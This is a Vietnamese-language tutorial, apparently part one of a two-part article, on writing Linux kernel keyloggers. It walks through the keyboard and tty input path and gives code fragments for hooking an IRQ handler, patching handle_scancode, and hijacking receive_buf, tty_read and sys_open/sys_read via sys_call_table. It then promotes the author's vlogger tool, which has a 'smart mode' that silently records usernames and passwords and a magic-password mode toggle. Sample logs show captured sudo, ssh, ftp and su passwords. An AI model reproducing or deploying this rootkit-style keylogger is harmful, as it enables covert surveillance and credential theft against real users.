Writing Linux Kernel Keylogge (Phần 1)

trang này đã được đọc lần

Nội dung

1 - Giới thiệu

2 - Hoạt động của trình điều khiển bàn phím trên Linux

3 - Các phương pháp viết keylogger mức kernel
3.1 - Xử lý ngắt (interrupt handler)
3.2 - Chặn và thay đổi hàm (function hijacking)
3.2.1 - handle_scancode
3.2.2 - put_queue
3.2.3 - receive_buf
3.2.4 - tty_read
3.2.5 - sys_read/sys_write

4 - vlogger
4.1 - Phương pháp syscall/tty
4.2 - Tính năng
4.3 - Sử dụng

5 - Greets

6 - Tham khảo

7 - Mã nguồn keylogger


Giới thiệu

Bài viết này được chia làm hai phần. Phần thứ nhất cung cấp một cái nhìn tổng quát về hoạt động của trình điều khiển bàn phím (keyboard driver) trên linux và các phương pháp được sử dụng để viết một keylogger (chương trình ghi lại thao tác bàn phím) ở mức kernel. Phần này hữu ích cho những ai muốn viết keylogger ở mức kernel hoặc muốn tự viết lấy trình điều khiển bàn phím riêng cho mình (chẳng hạn để nhập liệu các ngôn ngữ không được hỗ trợ trên môi trường linux, ...) hoặc lập trình tận dụng các tính năng của trình điều
khiển bàn phím linux.

Phần thứ hai trình bày chi tiết về chương trình vlogger, một keylogger thông minh ở mức kernel, và cách sử dụng nó. Keylogger là chương trình rất được quan tâm và được sử dụng rộng rãi trong các hệ thống bẫy honeypot, trên các hệ thống bị hack, ... bởi cả giới black hat và white hat. Như chúng ta biết, bên cạnh phần lớn các keylogger ở mức ứng dụng (ví dụ iob, uberkey, unixkeylogger, ...), còn có một số keylogger ở mức kernel. Keylogger mức kernel đầu tiên là linspy của tác giả halflife được công bố trên Phrack 50 (xem [4]). Gần đây nhất là kkeylogger được mercenary trình bày trong tài liệu 'Kernel Based Keylogger' (xem [7]) mà tôi đã tìm thấy khi viết bài này. Phương pháp chung của các keylogger mức kernel sử dụng là ghi lại thao tác bàn phím của user bằng cách chặn các hàm hệ thống sys_read hoặc sys_write. Tuy nhiên, lối tiếp cận này tương đối không ổn định và làm chậm toàn bộ hệ thống một cách đáng kể do sys_read (hoặc sys_write) là hàm đọc/ghi cơ bản của hệ thống; sys_read được gọi khi một process muốn đọc từ thiết bị (bàn phím, file, cổng song song, ...). Chương trình vlogger của tôi sử dụng một cách tốt hơn để hiện thực là chặn và thay đổi hàm xử lý bộ
đệm tty (tty buffer).

Người đọc cần có các kiến thức về kernel module trên Linux (Linux Loadable Kernel Module). Các bài viết [1] và [2] rất nên đọc trước khi đọc các phần tiếp theo.


2 - Hoạt động của trình điều khiển bàn phím trên Linux

Xem hình vẽ sau để biết dữ liệu user nhập từ bàn phím được xử lý như thế nào:

_____________ _________ _________
/ \ put_queue| |receive_buf| |tty_read
/handle_scancode\-------->|tty_queue|---------->|tty_ldisc|------->
\ / | | |buffer |
\_____________/ |_________| |_________|

_________ ____________
| |sys_read| |
--->|/dev/ttyX|------->|user process|
| | | |
|_________| |____________|


Hình 1

Đầu tiên, khi bạn nhấn một phím trên bàn phím, bàn phím sẽ gửi mã scan (scancode) tương ứng cho trình điều khiển bàn phím. Một phím đơn có thể tạo ra một dãy tuần tự đến tối đa 6 scancode.

Hàm handle_scancode() trong trình điều khiển bàn phím duyệt dòng scancode và chuyển nó thành chuỗi các sự kiện phím nhấn (key press) và phím nhả (key release) được gọi là keycode bằng cách dùng một bảng chuyển đổi thông qua hàm kbd_translate(). Mỗi phím được gán một keycode k duy nhất trong khoảng giá trị 1-127. Nhấn phím có mã k sẽ sinh ra keycode k, trong khi nhả nó ra sẽ sinh ra keycode k+128.

Ví dụ, keycode của phím 'a' là 30. Nhấn phím 'a' sẽ sinh ra keycode 30> Nhả phím 'a' sẽ sinh ra keycode 158 (128+30).

Tiếp theo, các keycode được chuyển thành các ký hiệu phím (key symbol) bằng cách dò trong bảng ánh xạ phím (keymap) tương ứng. Đây là một quá trình khá phức tạp. Có thể có 8 phím bổ sung (các phím shift - Shift , AltGr, Control, Alt, ShiftL, ShiftR, CtrlL and CtrlR), kết hợp với các phím bổ sung đang được kích hoạt và giữ để xác định keymap được sử dụng.

Sau quá trình xử lý trên, ký tự lấy được được đặt vào hàng đợi tty thô (raw tty queue) - tty_flip_buffer.

Theo cơ chế xử lý dòng của tty, hàm receive_buf() được gọi định kỳ để lấy các ký tự từ tty_flip_buffer và sau đó đặt chúng vào hàng đợi đọc tty (tty read queue).

Khi user process muốn lấy dữ liệu nhập từ user, nó gọi hàm read() trên stdin của process. Hàm sys_read() sẽ gọi hàm read() được định nghĩa theo các cấu trúc thao tác trên file (mà cuối cùng được trỏ đến hàm tty_read) của tty tương ứng (vd /dev/tty0) để đọc các ký tự nhập và trả về cho process.

Trình điều khiển bàn phím có thể ở một trong 4 chế độ hoạt động sau:
- scancode (RAW MODE): ứng dụng lấy dữ liệu nhập là scancode. Nó được sử dụng bởi các ứng dụng hiện thực riêng trình điều khiển bàn phím của mình (vd: X11)

- keycode (MEDIUMRAW MODE): ứng dụng lấy thông tin về phím được nhấn và nhả (xác định bởi keycode của chúng)

- ASCII (XLATE MODE): ứng dụng lấy các ký tự có nghĩa được định nghĩa trong keymap,sử dụng mã hoá (encoding) 8-bit

- Unicode (UNICODE MODE): chế độ này chỉ khác chế độ ASCII ở chỗ cho phép user tạo các ký tự Unicode UTF8 bằng các giá trị thập phân, sử dụng Ascii_0 đến Ascii_9, hoặc giá trị thập lục phân (hexa - 4 chữ số), sử dụng Hex_0 đến Hex_9. Một keymap có thể được thiết lập để sinh ra các chuỗi UTF8 (với một ký tự giả U+XXXX, trong đó mỗi X là một chữ số hex).

Các chế độ này ảnh hưởng kiểu dữ liệu mà ứng dụng sẽ lấy vào như là nhập từ bàn phím. Chi tiết về scancode, keycode và keymap hãy đọc ở [3].


3 - Các phương pháp viết keylogger mức kernel

Ta có thể hiện thực một keylogger mức kernel bằng hai cách: tự viết lấy trình xử lý ngắt bàn phím (interrupt handler) hoặc chặn và thay đổi (hijacking) một trong các hàm xử lý dữ liệu nhập.


3.1 - Trình xử lý ngắt

Để ghi lại các thao tác phím, ta sẽ sử dụng trình xử lý ngắt bàn phím riêng của mình. Trên các kiến trúc Intel, ngắt (IRQ) của bộ điều khiển bàn phím là IRQ 1. Khi nhận được một ngắt bàn phím, trình xử ngắt của ta sẽ đọc scancode và trạng thái bàn phím. Các sự kiện về bàn phím có thể được đọc và ghi qua cổng 0x60 (Thanh ghi dữ liệu bàn phím - Keyboard data register) và 0x64 (Thanh ghi trạng thái bàn phím - Keyboard status register)

/* below code is intel specific */
#define KEYBOARD_IRQ 1
#define KBD_STATUS_REG 0x64
#define KBD_CNTL_REG 0x64
#define KBD_DATA_REG 0x60

#define kbd_read_input() inb(KBD_DATA_REG)
#define kbd_read_status() inb(KBD_STATUS_REG)
#define kbd_write_output(val) outb(val, KBD_DATA_REG)
#define kbd_write_command(val) outb(val, KBD_CNTL_REG)

/* register our own IRQ handler */
request_irq(KEYBOARD_IRQ, my_keyboard_irq_handler, 0, "my keyboard", NULL);

Trong hàm my_keyboard_irq_handler():
scancode = kbd_read_input();
key_status = kbd_read_status();
log_scancode(scancode);

Phương pháp này phụ thuộc vào kiến trúc hệ thống. Vì vậy nó không thể chuyển đổi giữa các kiến trúc nền khác nhau. Và bạn phải cực kỳ thận trọng với trình xử lý ngắt của mình nếu không muốn làm máy mình bị crash.


3.2 - Chặn và thay đổi hàm

Dựa vào hình 1, chúng ta có thể hiện thực keylogger để ghi lại những gì user nhập vào bằng cách chặn và thay đổi (hijacking) các hàm
handle_scancode(), put_queue(), receive_buf(), tty_read() và sys_read().
Lưu ý rằng chúng ta không thể chặn hàm tty_insert_flip_char() vì đây là hàm INLINE.


3.2.1 - handle_scancode

Đây là hàm đầu vào của trình điều khiển bàn phím (keyboard.c), xử lý các scancode nhận được từ bàn phím.

# /usr/src/linux/drives/char/keyboard.c
void handle_scancode(unsigned char scancode, int down);

Ta có thể thay thế hàm handle_scancode() ban đầu bằng hàm của chúng ta để ghi lại toàn bộ scancode. Nhưng vì hàm handle_scancode() không phải là hàm toàn cục và export được. Vì vậy, để làm được điều này chúng ta sử dụng kỹ thuật chặn và thay đổi hàm được Silvio đề xướng (xem [5]).

/* below is a code snippet written by Plasmoid */
static struct semaphore hs_sem, log_sem;
static int logging=1;

#define CODESIZE 7
static char hs_code[CODESIZE];
static char hs_jump[CODESIZE] =
"\xb8\x00\x00\x00\x00" /* movl $0,%eax */
"\xff\xe0" /* jmp *%eax */
;

void (*handle_scancode) (unsigned char, int) =
(void (*)(unsigned char, int)) HS_ADDRESS;

void _handle_scancode(unsigned char scancode, int keydown)
{
if (logging && keydown)
log_scancode(scancode, LOGFILE);

/*
* Restore first bytes of the original handle_scancode code. Call
* the restored function and re-restore the jump code. Code is
* protected by semaphore hs_sem, we only want one CPU in here at a
* time.
*/
down(&hs_sem);

memcpy(handle_scancode, hs_code, CODESIZE);
handle_scancode(scancode, keydown);
memcpy(handle_scancode, hs_jump, CODESIZE);

up(&hs_sem);
}

HS_ADDRESS được gán trong Makefile thực hiện câu lệnh sau:
HS_ADDRESS=0x$(word 1,$(shell ksyms -a | grep handle_scancode))

Tương tự phương pháp được trình bày ở phần 3.1, ưu điểm của phương pháp này là khả năng ghi lại thao tác phím (keystrokes) trên cả X và console, cho dù tty có được mở hay không. Hơn nữa, ta còn có thể biết được chính xác phím nào đã được nhấn xuống (kể cả các phím đặc biệt như Control, Alt, Shift, Print Screen, ...). Tuy nhiên phương pháp này phụ thuộc vào hệ thống nền (platform) và không khả chuyển giữa các hệ thống nền khác nhau. Phương pháp này cũng không thể ghi lại các thao tác phím của các phiên làm việc từ
xa và khá phức tạp để xây dựng một keylogger cao cấp.


3.2.2 - put_queue

Hàm này được gọi bởi hàm handle_scancode() để đặt các ký tự vào tty_queue.

# /usr/src/linux/drives/char/keyboard.c
void put_queue(int ch);

Để chặn hàm này, chúng ta có thể sử dụng kỹ thuật như ở phần (3.2.1).


3.2.3 - receive_buf

Hàm receive_buf() được gọi bởi các trình điều khiển tty cấp thấp để gửi các ký tự nhận được từ phần cứng cho cơ chế xử lý dòng tty để xử lý.

# /usr/src/linux/drivers/char/n_tty.c */
static void n_tty_receive_buf(struct tty_struct *tty, const
unsigned char *cp, char *fp, int count)

cp là con trỏ đến bộ đệm các ký tự nhập nhận được từ thiết bị fp là con trỏ đến một con trỏ các byte cờ (flag) dùng để cho biết một ký tự nhận được có bị lỗi parity hay không, ...

Hãy xét kỹ hơn đến cấu trúc dữ liệu của tty

# /usr/include/linux/tty.h
struct tty_struct {
int magic;
struct tty_driver driver;
struct tty_ldisc ldisc;
struct termios *termios, *termios_locked;
...
}

# /usr/include/linux/tty_ldisc.h
struct tty_ldisc {
int magic;
char *name;
...
void (*receive_buf)(struct tty_struct *,
const unsigned char *cp, char *fp, int count);
int (*receive_room)(struct tty_struct *);
void (*write_wakeup)(struct tty_struct *);
};

Để chặn hàm này, chúng ta có thể sử dụng hàm xử lý tty receive_buf() ban đầu sau đó đặt ldisc.receive_buf trỏ đến hàm new_receive_buf() của chúng ta để ghi lại những gì user nhập vào.

Ví dụ: để ghi lại dữ liệu nhập trên tty0

int fd = open("/dev/tty0", O_RDONLY, 0);
struct file *file = fget(fd);
struct tty_struct *tty = file->private_data;
old_receive_buf = tty->ldisc.receive_buf;
tty->ldisc.receive_buf = new_receive_buf;

void new_receive_buf(struct tty_struct *tty, const unsigned char *cp,
char *fp, int count)
{
logging(tty, cp, count); //log inputs

/* call the original receive_buf */
(*old_receive_buf)(tty, cp, fp, count);
}


3.2.4 - tty_read

Hàm này được gọi khi một process muốn đọc các ký tự nhập từ một tty qua hàm sys_read().

# /usr/src/linux/drives/char/tty_io.c
static ssize_t tty_read(struct file * file, char * buf, size_t count,
loff_t *ppos)

static struct file_operations tty_fops = {
llseek: tty_lseek,
read: tty_read,
write: tty_write,
poll: tty_poll,
ioctl: tty_ioctl,
open: tty_open,
release: tty_release,
fasync: tty_fasync,
};

Để ghi lại dữ liệu nhập trên tty0:

int fd = open("/dev/tty0", O_RDONLY, 0);
struct file *file = fget(fd);
old_tty_read = file->f_op->read;
file->f_op->read = new_tty_read;


3.2.5 - sys_read/sys_write

Chúng ta sẽ chặn các hàm hệ thống sys_read/sys_write để định hướng lại (redirect) chúng đến đoạn chương trình của chúng ta nhằm ghi lại nội dung của các gọi hàm read/write. Phương pháp này được trình bày bởi halflife trong tạp chí Phrack số 50 (xem [4]). Bạn rất nên đọc tài liệu đó và một bài viết rất hay của pragmatic là "Complete Linux Loadable Kernel Modules" (xem [2]).

Đoạn chương trình để chặn sys_read/sys_write sẽ giống như sau:

extern void *sys_call_table[];
original_sys_read = sys_call_table[__NR_read];
sys_call_table[__NR_read] = new_sys_read;


4 - vlogger

Phần này giới thiệu chương trình keylogger ỏ mức kernel của tôi sử dụng phương pháp được trình bày ở phần 3.2.3 để có được nhiều khả năng hơn các keylogger phổ biến sử dụng phương pháp thay thế các hàm sys_read/sys_write. Tôi đã kiểm thử mã chương trình này trên các phiên bản linux kernel: 2.4.5, 2.4.7, 2.4.17 và 2.4.18.


4.1 - Phương pháp syscall/tty

Để ghi lại cả các phiên làm việc tại chỗ (console) và từ xa, tôi chọn phương pháp chặn hàm receive_buf() (xem 3.2.3).

Trong kernel, các cấu trúc dữ liệu tty_struct và tty_queue được cấp phát động chỉ khi nào một tty được mở. Vì vậy, chúng ta phải chặn hàm hệ thống sys_open để móc nối động (dynamically hook) hàm receive_buf mỗi khi một tty hoặc pty được mở.

// to intercept open syscall
original_sys_open = sys_call_table[__NR_open];
sys_call_table[__NR_open] = new_sys_open;

// new_sys_open()
asmlinkage int new_sys_open(const char *filename, int flags, int mode)
{
...
// call the original_sys_open
ret = (*original_sys_open)(filename, flags, mode);

if (ret >= 0) {
struct tty_struct * tty;
...
file = fget(ret);
tty = file->private_data;
if (tty != NULL &&
...
tty->ldisc.receive_buf != new_receive_buf) {
...
// save the old receive_buf
old_receive_buf = tty->ldisc.receive_buf;
...

/*
* init to intercept receive_buf of this tty
* tty->ldisc.receive_buf = new_receive_buf;
*/
init_tty(tty, TTY_INDEX(tty));
}
...
}

// our new receive_buf() function
void new_receive_buf(struct tty_struct *tty, const unsigned char *cp,
char *fp, int count)
{
if (!tty->real_raw && !tty->raw) // ignore raw mode
// call our logging function to log user inputs
vlogger_process(tty, cp, count);
// call the original receive_buf
(*old_receive_buf)(tty, cp, fp, count);
}


4.2 - Tính năng

- Ghi lại cả các phiên làm việc tại chỗ và từ xa (qua tty và pts)

- Mỗi phiên làm việc được ghi lại tách biệt nhau. Mỗi tty có bộ đệm ghi
lại riêng.

- Hỗ trợ hầu hết các ký tự đặc biệt như phím mũi tên, F1 đến F12,Shift+F1 đến Shift+F12, Tab, Insert, Delete, End, Home, Page Up, Page Down, BackSpace, ...

- Hỗ trợ một số phím dùng khi soạn thảo dòng lệnh như CTRL-U và BackSpace.

- Thông tin ghi lại được đánh dấu theo thời gian, hỗ trợ timezone

- Nhiều chế độ (mode) ghi lại:

o dumb mode: ghi lại toàn bộ thao tác bàn phím

o smart mode: phát hiện dấu nhắc mật khẩu một cách tự động và chỉ ghi lại user/password. Tôi sử dụng kỹ thuật tương tự được trình bày trong tài liệu "Passive Analysis of SSH (Secure Shell) Traffic" của Solar Designer và Dug Song (xem [6]). Khi một ứng dụng tắt chế độ echo dữ liệu nhập, ta giả sử nó đang đợi nhập vào mật khẩu.

o normal mode: không ghi lại

Có thể chuyển đổi giữa các mode bằng mật khẩu đặc biệt.

#define VK_TOGLE_CHAR 29 // CTRL-]
#define MAGIC_PASS "31337" // to switch mode, type MAGIC_PASS
// then press VK_TOGLE_CHAR key

4.3 - Sử dụng

Thay đổi các tuỳ chọn sau:

// thư mục để chứa các log file
#define LOG_DIR "/tmp/log"

// timezone tại chỗ
#define TIMEZONE 7*60*60 // GMT+7

// mật khẩu đặc biệt
#define MAGIC_PASS "31337"

Các log file có dạng sau:

[root@localhost log]# ls -l
total 60
-rw------- 1 root root 633 Jun 19 20:59 pass.log
-rw------- 1 root root 37593 Jun 19 18:51 pts11
-rw------- 1 root root 56 Jun 19 19:00 pts20
-rw------- 1 root root 746 Jun 19 20:06 pts26
-rw------- 1 root root 116 Jun 19 19:57 pts29
-rw------- 1 root root 3219 Jun 19 21:30 tty1
-rw------- 1 root root 18028 Jun 19 20:54 tty2

---in dumb mode
[root@localhost log]# head tty2 // local session
<19/06/2002-20:53:47 uid=501 bash> pwd
<19/06/2002-20:53:51 uid=501 bash> uname -a
<19/06/2002-20:53:53 uid=501 bash> lsmod
<19/06/2002-20:53:56 uid=501 bash> pwd
<19/06/2002-20:54:05 uid=501 bash> cd /var/log
<19/06/2002-20:54:13 uid=501 bash> tail messages
<19/06/2002-20:54:21 uid=501 bash> cd ~
<19/06/2002-20:54:22 uid=501 bash> ls
<19/06/2002-20:54:29 uid=501 bash> tty
<19/06/2002-20:54:29 uid=501 bash> [UP]

[root@localhost log]# tail pts11 // remote session
<19/06/2002-18:48:27 uid=0 bash> cd new
<19/06/2002-18:48:28 uid=0 bash> cp -p ~/code .
<19/06/2002-18:48:21 uid=0 bash> lsmod
<19/06/2002-18:48:27 uid=0 bash> cd /va[TAB][^H][^H]tmp/log/
<19/06/2002-18:48:28 uid=0 bash> ls -l
<19/06/2002-18:48:30 uid=0 bash> tail pts11
<19/06/2002-18:48:38 uid=0 bash> [UP] | more
<19/06/2002-18:50:44 uid=0 bash> vi vlogertxt
<19/06/2002-18:50:48 uid=0 vi> :q
<19/06/2002-18:51:14 uid=0 bash> rmmod vlogger

---in smart mode
[root@localhost log]# cat pass.log
[19/06/2002-18:28:05 tty=pts/20 uid=501 sudo]
USER/CMD sudo traceroute yahoo.com
PASS 5hgt6d
PASS

[19/06/2002-19:59:15 tty=pts/26 uid=0 ssh]
USER/CMD ssh guest@host.com
PASS guest

[19/06/2002-20:50:44 tty=pts/29 uid=504 ftp]
USER/CMD open ftp.ilog.fr
USER Anonymous
PASS heh@heh

[19/06/2002-20:59:54 tty=pts/29 uid=504 su]
USER/CMD su -
PASS asdf1234


Xem http://www.thehackerschoice.com/ để lấy phiên bản cập nhật mới nhất của
công cụ này.


5 - Greets

Thanks to plasmoid, skyper for your very useful comments
Greets to THC, vnsecurity and all friends
Finally, thanks to mr. thang for english corrections


 6 - Tham khảo

[1] Linux Kernel Module Programming
http://www.tldp.org/LDP/lkmpg/
[2] Complete Linux Loadable Kernel Modules - Pragmatic
http://www.thehackerschoice.com/papers/LKM_HACKING.html
[3] The Linux keyboard driver - Andries Brouwer
http://www.linuxjournal.com/lj-issues/issue14/1080.html
[4] Abuse of the Linux Kernel for Fun and Profit - Halflife
http://www.phrack.com/phrack/50/P50-05
[5] Kernel function hijacking - Silvio Cesare
http://www.big.net.au/~silvio/kernel-hijack.txt
[6] Passive Analysis of SSH (Secure Shell) Traffic - Solar Designer
http://www.openwall.com/advisories/OW-003-ssh-traffic-analysis.txt
[7] Kernel Based Keylogger - Mercenary
http://packetstorm.decepticons.org/UNIX/security/kernel.keylogger.txt

Xem tiếp phần 2